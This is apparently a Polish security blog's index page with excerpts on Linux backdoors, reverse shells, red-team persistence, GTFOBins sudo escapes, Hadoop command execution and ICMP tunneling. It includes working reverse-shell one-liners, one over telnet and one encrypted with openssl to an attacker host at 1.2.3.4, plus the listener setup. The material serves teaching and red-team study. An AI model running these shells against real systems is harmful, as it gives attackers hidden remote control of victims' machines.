Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/rsh; sh -i 2>&1 < /tmp/rsh | telnet 127.0.0.1 31337 > /tmp/rsh; rm /tmp/rsh

Więcej informacji: Alh4zr3d on Twitter

Z

nalezienie tylnego wejścia (ang. backdoor) uruchomionego w systemie Linux nie zawsze może być trywialne. Tylne furtki służą do interakcji atakującego z hostem w czasie rzeczywistym i są konsekwencją / kolejnym krokiem włamania do systemu. Sposród różnych backdoorów, które można wykorzystać w środowisku *nix jest bardzo dobrze znany bindshell, czyli powłoka, która nasłuchuje na określonym porcie TCP/IP. Uruchomi ona wszystko, co zostanie wysłane do tego portu i odpowie danymi wyjściowymi z przesłanych poleceń. Jej wariantem jest odwrócona powłoka (ang. reverse shell), ponieważ zamiast łączenia się atakującego z ofiarą, napastnik powoduje (np. poprzez podatną webaplikację), że to system ofiary łączy się do niego z powrotem. Dlaczego to takie ważne? Ponieważ większość funkcji filtrowania sieci jest skonfigurowana tak, aby szczegółowo blokować ruch przychodzący z internetu. Jednak bardzo często ruch wychodzący jest nieograniczony lub znacznie mniej filtrowany. Dlatego odwrócony bindshell jest świetnym sposobem na przeskakiwanie zapór ogniowych i innych mechanizmów ochrony.
[ czytaj całość… ]

W

yobraźmy sobie taki scenariusz – jesteś członkiem zespołu Red Team, który ma kompetencje w zakresie systemu Linux. Twoim zadaniem jest opracowanie ćwiczenia, w którym musisz zachować dostęp do skompromitowanego systemu przez jak najdłuższy czas. Posiadając uprawnienia administratora myślisz o dodaniu jakiegoś zadania w cron lub innej klasycznej lokalizacji (np. rc.local), ale wiesz że Blue Team je systematycznie sprawdza. Przez chwilę myślisz o doczepieniu tylnej furki jakieś binarce, tylko problem w tym, że dostęp ma być utrzymany jak najdłużej, a skompromitowana maszyna jest ustawiona na regularną aktualizację łatek bezpieczeństwa, więc wszelkie pliki wykonawcze lub inne krytyczne komponenty systemu mogą zostać nadpisane wersjami domyślnymi.
[ czytaj całość… ]

Jest to ostatni wpis odnośnie ucieczek (1, 2, 3, 4) z sudo. Aktywnie utrzymywana, wyselekcjonowanych plików binarnych oraz skryptów Linuksa, których można użyć do ominięcia lokalnych ograniczeń bezpieczeństwa w źle skonfigurowanych systemach jest zawarta w projekcie GTFOBins (alternatywa dla systemu Windows to LOLBAS). Projekt gromadzi wykorzystanie zaimplementowanych funkcjonalności *niksowych plików binarnych, które mogą być wykorzystane do wyłamywania się z ograniczeń powłok, poleceń sudo, eskalacji uprawnień, czytania zastrzeżonych plików, czy uruchamiania powłok zwrotnych. Należy mieć na uwadze, że nie jest to lista eksploitów, a programy wymienione w GTFOBins same w sobie nie są podatne na ataki. Raczej projekt ten jest kompendium wiedzy o tym, jak wykorzystać je jeśli, któreś z nich uruchamiane jest z prawami administratora lub w ograniczonych środowiskach / powłokach.
[ czytaj całość… ]

Skoro wszędzie dzisiaj mamy szyfrowanie – wypada, aby powłoki zwrotne również były szyfrowane. W celu uruchomienia serwera do nasłuchu należy wygenerować klucz oraz certyfikat na maszynie (o IP: 1.2.3.4) służącej do ataku:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Odpalenie serwera:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \
| openssl s_client -quiet -connect 1.2.3.4:8080 > /tmp/s; rm /tmp/s

Więcej informacji: RevSSL

W nawiązaniu do przeglądania danych na Hadoopie poprzez „ukryty” URL – /browseDirectory.jsp spróbujmy dzisiaj dostać się do jego serwerów. Podobnie, jak Mesos Hadoop jest frameworkiem do rozproszonego przetwarzania zadań… więc po prostu rozprasza zadania do wykonania na klastrze. W prostym modelu uwierzytelniania bez żadnego filtrowania sieciowego dla wystawionych usług możemy dowolnie wykonać polecenia na węzłach klastra za pomocą zadań MapReduce. Nie musimy nawet potrafić pisać poprawnego kodu w języku Java.
[ czytaj całość… ]

P

ozostańmy jeszcze przy shodanie. Tym razem po to, aby przyjrzeć mu się z punktu widzenia pewnych mechanizmów, środowiska rozproszonego i – bardziej niebezpiecznego. Kilka dni temu, pojawiła się wiadomość, że DC/OS stał się dostępny w chmurze obliczeniowej Azure. W praktyce oznacza to, że uruchamiając X maszyn wirtualnych w tej usłudze, będziemy w stanie spiąć je w jeden klaster, oferujący wspólne zasoby obliczeniowe, pamięciowe i dyskowe. Zyskamy także możliwość dowolnego dzielenia tych zasobów, wedle naszych potrzeb i rodzajów aplikacji, które będziemy chcieli uruchomić.
[ czytaj całość… ]

P

rotokół UDP nie jest jedynym, który umożliwia „ukrytą” komunikację. Równie popularnym, jak i rzadko blokowanym jest ICMP. Niestety i on może zostać wykorzystany przez napastników do kontroli nad skompromitowanym systemem. Idea enkapsulacji danych oraz poleceń w ruchu sieciowym za pomocą ICMP w celu stworzenia niewidzialnych kanałów komunikacji została spopularyzowana przez narzędzie Loki opisane w 49 wydaniu Magazynu Phrack z 1996 roku. W 1999’tym botnet Tribe Flood Network (TFN) służący do ataków DDoS po analizie Davida Dittricha ujawnił badaczowi, że używał podobnego schematu komunikacji do zdalnego kontrolowania zainfekowanych systemów. Wśród nowszych narzędzi można wymienić backdoora icmpsh. Tunelowanie ICMP jest możliwe, ponieważ w RFC 792, czyli dokumencie regulującym pakiety ICMP przewiduje się możliwość zawarcia dodatkowych danych dla każdego komunikatu typu 0 (echo replay) oraz 8 (echo request). Zresztą inne komunikaty ICMP mogą również służyć do infiltracji sieci. Standardowym postępowaniem jest ograniczenie łączności tylko do zaufanych (monitorujących) serwerów.

Więcej informacji: Wyciek przez ping, ICMPsh, ICMP Tunnel, Bypassing Firewalls Using ICMP-Tunnel